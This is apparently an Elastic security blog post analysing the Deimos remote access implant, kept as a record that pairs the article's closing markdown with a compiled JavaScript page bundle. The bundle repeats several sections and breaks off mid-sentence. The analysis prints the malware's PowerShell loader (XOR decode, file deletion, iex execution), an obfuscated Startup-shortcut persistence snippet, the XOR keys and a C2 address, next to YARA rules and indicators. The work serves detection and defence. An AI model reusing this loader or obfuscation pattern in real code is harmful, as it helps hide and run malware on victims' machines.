\"\\\\APPDATA\\\\ROAMING\" wide fullword\n$a2 = \"\\{\\\"action\\\":\\\"ping\\\",\\\"\" wide fullword\n$a3 = \"Deimos\" ascii fullword\n$b1 = \\{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \\}\n$b2 = \\{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \\}\ncondition:\nall of ($a*) or 1 of ($b*)\n\\}\n```\n\n_Figure 24: Deimos DLL YARA Rule_\n\nYou can access this YARA rule [here](https://github.com/elastic/examples/tree/master/blog/climbing-the-pyramid-with-celestial-themed-malware).\n\n## Defensive Recommendations\n\nThe following steps can be leveraged to improve a network's protective posture.\n\n1. Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.\n2. Review and ensure that you have deployed the latest Microsoft Security Updates\n3. Maintain backups of your critical systems to aid in quick recovery.\n\n## References\n\nThe following research was referenced throughout the document:\n\n- [https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)\n- [https://redcanary.com/blog/yellow-cockatoo](https://redcanary.com/blog/yellow-cockatoo)\n- [https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis](https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis)\n- [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn\u0026ThreatID=2147770772](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn\u0026ThreatID=2147770772)\n- [http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html)\n- [https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)\n- [https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)\n- [https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)\n- [https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire](https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire)\n- [https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882](https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882)\n\n## Indicators\n\n| Indicators | Type | Note |\n| ---------------------------------------------------------------- | ----------- | ------------------- |\n| f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421 | SHA256 hash | Lure file |\n| af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f | SHA256 hash | Malware installer |\n| d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54 | SHA256 hash | .NET DLL file |\n| 216[.]230[.]232[.]134 | IP address | Command and control |\n","code":"var Component=(()=\u003e{var c=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var w=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!u.call(t,a)\u0026\u0026a!==n\u0026\u0026r(t,a,{get:()=\u003ee[a],enumerable:!(s=m(e,a))||s.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?c(f(t)):{},o(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003eo(r({},\"__esModule\",{value:!0}),t);var d=w((A,l)=\u003e{l.exports=_jsx_runtime});var S={};g(S,{default:()=\u003ek,frontmatter:()=\u003ev});var i=b(d()),v={title:\"Going Coast to Coast - Climbing the Pyramid with the Deimos Implant\",slug:\"going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant\",date:\"2022-06-08\",description:\"The Deimos implant was first reported in 2020 and has been in active development; employing advanced analysis countermeasures to frustrate analysis. This post details the campaign TTPs through the malware indicators.\",author:[{slug:\"andrew-pease\"},{slug:\"daniel-stepanic\"},{slug:\"derek-ditch\"}],image:\"blog-security-radar-720x420.png\",category:[{slug:\"malware-analysis\"}]};function h(t){let e=Object.assign({blockquote:\"blockquote\",ul:\"ul\",li:\"li\",p:\"p\",h2:\"h2\",a:\"a\",em:\"em\",pre:\"pre\",code:\"code\",h3:\"h3\",img:\"img\",h4:\"h4\",h5:\"h5\",ol:\"ol\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns\"}),`\n`,(0,i.jsx)(e.li,{children:\"The malware employs multiple layers of complex obfuscation and encryption techniques\"}),`\n`,(0,i.jsx)(e.li,{children:\"The malware has incorporated convincing lure files and digitally signed installation executables\"}),`\n`,(0,i.jsx)(e.li,{children:\"The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments\"}),`\n`,(0,i.jsx)(e.li,{children:\"A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.\"}),`\n`,(0,i.jsx)(e.p,{children:\"These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The Elastic Intelligence \u0026 Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the \",(0,i.jsx)(e.a,{href:\"https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"Jupyter Infostealer\"}),\" malware (tracked elsewhere as \",(0,i.jsx)(e.a,{href:\"https://redcanary.com/blog/yellow-cockatoo\",rel:\"nofollow\",children:\"Yellow Cockatoo\"}),\", and \",(0,i.jsx)(e.a,{href:\"https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis\",rel:\"nofollow\",children:\"SolarMarker\"}),\"). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The analysis will leverage David Bianco's \",(0,i.jsx)(e.a,{href:\"http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\",rel:\"nofollow\",children:\"Pyramid of Pain\"}),\" analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"details\",children:\"Details\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [\",(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction\",rel:\"nofollow\",children:\"1\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer\",rel:\"nofollow\",children:\"2\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"3\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"4\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two\",rel:\"nofollow\",children:\"5\"}),\"]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality.\"})}),`\n`,(0,i.jsx)(e.p,{children:\"During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" -command \"$650326ac2b1100c4508b8a700b658ad7='C:\\\\Users\\\\user1\\\\d2e227be5d58955a8d12db18fca5d787\\\\a5fb52fc397f782c691961d23cf5e785\\\\4284a9859ab2184b017070368b4a73cd\\\\89555a8780abdb39d3f1761918c40505\\\\83e4d9dd7a7735a516696a49efcc2269\\\\d1c086bb3efeb05d8098a20b80fc3c1a\\\\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\\\\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\\\\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\\\\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\\\\}\\\\}\\\\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 1: PowerShell executed by malware installer\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 2: Base64 encoded file read and then deleted\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Additionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To do this, we leveraged the \",(0,i.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-23-filedelete-file-delete-archived\",rel:\"nofollow\",children:\"FileDelete\"}),` event configuration for Sysmon. By default, this creates a directory in the \"C:\\\\Sysmon\" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used `,(0,i.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/sysinternals/downloads/psexec\",rel:\"nofollow\",children:\"PSExec\"}),\" to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools \",(0,i.jsx)(e.a,{href:\"https://linux.die.net/man/1/base64\",rel:\"nofollow\",children:\"base64\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://github.com/hellman/xortool\",rel:\"nofollow\",children:\"xortool\"}),\", we're able to decode and decrypt the file:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"base64\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"-D - use the base64 program to decode\"}),`\n`,(0,i.jsx)(e.li,{children:\"-i - the input file to be decoded\"}),`\n`,(0,i.jsx)(e.li,{children:\"-o - the output file to save the decoded content\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"xortool-xor\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"-r - the XOR cipher key\"}),`\n`,(0,i.jsx)(e.li,{children:\"-f - the file that is XOR encrypted\"}),`\n`,(0,i.jsx)(e.li,{children:\"\\\\\u003e - output the decrypted file\"}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \\\\\n-o 650326ac2b1100c4508b8a700b658ad7.decoded\n\nxortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \\\\\n-f 650326ac2b1100c4508b8a700b658ad7.decoded \\\\\n\\\\\u003e 650326ac2b1100c4508b8a700b658ad7.xor\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 3: Decrypting the XOR'd Base64 encoded file\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...\n\n...CReaTEShorTcuT($ENV:APpDATa+'\\\\m'+'IcR'+'OSO'+'Ft'+'\\\\w'+'Ind'+'OW'+'S\\\\'+'sT'+'ARt'+' ME\n'+'nU'+'\\\\pr'+'OGR'+'aMS\\\\'+'sT'+'ART'+'uP'+'\\\\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\\\\'+$a7f0a120130474bdc120c5f\n13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 4: Final obfuscated file (truncated)\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Following the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 5: XOR cipher key\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 6: .NET DLL file type\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [\",(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction\",rel:\"nofollow\",children:\"1\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer\",rel:\"nofollow\",children:\"2\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"3\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1\",rel:\"nofollow\",children:\"4\"}),\"] [\",(0,i.jsx)(e.a,{href:\"https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two\",rel:\"nofollow\",children:\"5\"}),\"]. The particular samples that we've observed utilize the .NET hardening tool \",(0,i.jsx)(e.a,{href:\"https://www.preemptive.com/dotfuscator/ce/docs/help/index.html\",rel:\"nofollow\",children:\"Dotfuscator CE 6.3.0\"}),\" to hinder malware analysis.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"analysis\",children:\"Analysis\"}),`\n`,(0,i.jsx)(e.p,{children:\"All indicators referenced in the analysis are located in the Indicators section.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"the-pyramid-of-pain\",children:\"The Pyramid of Pain\"}),`\n`,(0,i.jsx)(e.p,{children:\"Before we get into the analysis, let's discuss the model we used to help guide our process.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In 2013, security researcher David Bianco released an analytical model called the \",(0,i.jsx)(e.a,{href:\"http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\",rel:\"nofollow\",children:\"Pyramid of Pain\"}),\". The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-pyramid-of-pain.jpg\",alt:\"Figure 7: Pyramid of Pain\",width:\"720\",height:\"405\"})}),`\n`,(0,i.jsx)(e.p,{children:`The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of \"pain\") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.`}),`\n`,(0,i.jsx)(e.h3,{id:\"file-hashes\",children:\"File Hashes\"}),`\n`,(0,i.jsx)(e.p,{children:\"Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.\"}),`\n`,(0,i.jsx)(e.p,{children:\"So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"ip-addresses\",children:\"IP Addresses\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As other researchers have noted, we observed the same IP address used in the campaign. This IP address was \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/ip-address/216.230.232.134/relations\",rel:\"nofollow\",children:\"first associated\"}),\" with malicious files on August 30, 2021.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`IP 216.230.232.134\nAnycast false\nCity Houston\nRegion Texas\nCountry United States (US)\nLocation 29.7633,-95.3633\nOrganization AS40156 The Optimal Link Corporation\nPostal 77052\nTimezone America/Chicago\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 8: Information on identified IP address\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.\"}),`\n`,(0,i.jsx)(e.p,{children:\"While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let\\u2019s try to get higher up the pyramid and make a bigger impact on the adversary.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"artifacts\",children:\"Artifacts\"}),`\n`,(0,i.jsx)(e.h4,{id:\"resource-development\",children:\"Resource Development\"}),`\n`,(0,i.jsxs)(e.p,{children:['The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a \"Spolo\\xE8nos s Ru\\xE8en\\xEDm Obmedzen\\xFDm\" (S.R.O.). An ',(0,i.jsx)(e.a,{href:\"https://www.offshorecompany.com/company/slovakia-s-r-o/\",rel:\"nofollow\",children:\"S.R.O.\"}),\" is a business designation for Slovakian businesses owned by a foreign entity.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).\"}),`\n`,(0,i.jsx)(e.h2,{id:\"file-hashes-1\",children:\"File Hashes\"}),`\n`,(0,i.jsx)(e.p,{children:\"Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.\"}),`\n`,(0,i.jsx)(e.p,{children:\"So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"ip-addresses-1\",children:\"IP Addresses\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As other researchers have noted, we observed the same IP address used in the campaign. This IP address was \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/ip-address/216.230.232.134/relations\",rel:\"nofollow\",children:\"first associated\"}),\" with malicious files on August 30, 2021.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`IP 216.230.232.134\nAnycast false\nCity Houston\nRegion Texas\nCountry United States (US)\nLocation 29.7633,-95.3633\nOrganization AS40156 The Optimal Link Corporation\nPostal 77052\nTimezone America/Chicago\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Figure 8: Information on identified IP address\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.\"}),`\n`,(0,i.jsx)(e.p,{children:\"While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let\\u2019s try to get higher up the pyramid and make a bigger impact on the adversary.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"artifacts-1\",children:\"Artifacts\"}),`\n`,(0,i.jsx)(e.h5,{id:\"resource-development-1\",children:\"Resource Development\"}),`\n`,(0,i.jsxs)(e.p,{children:['The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a \"Spolo\\xE8nos s Ru\\xE8en\\xEDm Obmedzen\\xFDm\" (S.R.O.). An ',(0,i.jsx)(e.a,{href:\"https://www.offshorecompany.com/company/slovakia-s-r-o/\",rel:\"nofollow\",children:\"S.R.O.\"}),\" is a business designation for Slovakian businesses owned by a foreign entity.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-lure-file-digital-signing-sro1-and-owner-sro2.jpg\",alt:\"Figure 9: Lure file digital signing S.R.O. (SRO #1) and owner (SRO #2)\",width:\"1440\",height:\"1123\"})}),`\n`,(0,i.jsx)(e.p,{children:\"SRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/SRO_2.jpg\",alt:\"Figure 10: SRO #2 and SRO #1 sharing the same executive manager\",width:\"1419\",height:\"1440\"})}),`\n`,(0,i.jsx)(e.p,{children:\"We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"initial-access\",children:\"Initial Access\"}),`\n`,(0,i.jsx)(e.p,{children:\"We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Additionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\\\\APPDATA\\\\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named \",(0,i.jsx)(e.code,{children:\"%APPDATA%\\\\Microsoft\\\\\u003crandom string\u003e\"}),\". The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named \",(0,i.jsx)(e.code,{children:\"\u003crandom string\u003e.\u003crandom string\u003e\"}),\", where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at 